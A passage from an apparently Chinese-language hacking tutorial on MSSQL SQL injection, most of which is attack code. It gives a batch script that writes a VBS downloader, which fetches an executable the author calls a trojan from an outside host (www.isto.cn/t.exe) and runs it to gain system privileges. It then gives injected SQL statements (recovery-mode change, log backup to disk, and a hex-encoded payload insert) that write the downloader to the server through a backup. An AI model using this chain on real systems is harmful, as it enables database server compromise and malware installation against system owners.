问题就这样解决了吗?不是的!~MSSQL备份的时候,到一定的字符长度就会出现垃圾的字符,那个字符会影响我们的操作!
那么我们得把语句尽量缩少,越少越好~
OK那我们思路好了就采用bat写一个VBS的下载者然后执行这个下载者最后通过下载者down回来的马子来获取系统权限
下面是我改过的生成下载者的BAT
echoSetP=createObject("Microsoft.XMLHTTP")>k.vbs
echoP.Open"GET","http://www.isto.cn/t.exe",0>>k.vbs
echoP.Send():setG=createObject("ADODB.Stream")>>k.vbs
echoG.Mode=3:G.Type=1:G.Open()>>k.vbs
echoG.WriteP.ResponseBody:G.SaveToFile"t.exe",2>>k.vbs
k.vbs
t
下一个k.VBS然后k.vbs下载一个t.exe文件保存到本地直接执行
记得记得我说过的代码前面一定要用回车把垃圾数据提交最好2以上个回车
然后实现差异备份
alterdatabaseISTOsetRECOVERYFULL--
createtablecmd(aimage)--
backuplogISTOtodisk='c:cmd1'withinit--
insertintocmd(a)values(0x130A0D0A6563686F2053657420503D6372656174654F626A65637428224D6963726F736F66742E584D4C4854545022293E6B2E7662730D0A6563686F20502E4F70656E2022474554222C22687474703A2F2F7777772E6973746F2E636E2F742E657865222C30203E3E6B2E7662730D0A6563686F20502E53656E6428293A73657420473D6372656174654F626A656374282241444F44422E53747265616D22293E3E6B2E7662730D0A6563686F20472E4D6F64653D333A472E547970653D313A472E4F70656E2829203E3E6B2E76627320200D0A6563686F20472E577269746520502E526573706F6E7365426F64793A472E53617665546F46696C652022742E657865222C32203E3E6B2E7662730D0A6B2E7662730D0A740D0A)--
更多相关内容:
-
无相关信息